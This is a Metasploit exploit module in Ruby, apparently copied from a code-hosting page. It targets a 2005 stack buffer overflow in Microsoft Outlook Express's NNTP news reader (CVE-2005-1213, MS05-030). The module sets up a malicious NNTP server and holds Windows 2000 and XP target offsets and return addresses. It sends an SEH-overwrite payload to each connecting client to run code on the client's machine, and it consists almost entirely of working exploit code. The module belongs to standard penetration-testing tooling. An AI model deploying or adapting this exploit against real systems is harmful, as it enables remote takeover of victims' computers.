79 lines
2.1 KiB
Ruby
79 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the news reader of Microsoft
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Outlook Express.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-1213' ],
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[ 'OSVDB', '17306' ],
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[ 'BID', '13951' ],
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[ 'MSB', 'MS05-030' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'MaxNops' => 0,
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
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['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 14 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
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], self.class)
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end
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def on_client_connect(client)
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yup = "200\r\n"
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client.put(yup)
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client.put(yup)
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end
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def on_client_data(client)
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return if ((p = regenerate_payload(client)) == nil)
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filler = "215 list\r\n" + "group "
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filler << rand_text_english(target['Offset'])
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh + " 1 y\r\n\.\r\n"
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print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
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client.put(sploit)
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handler
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service.close_client(client)
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end
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end
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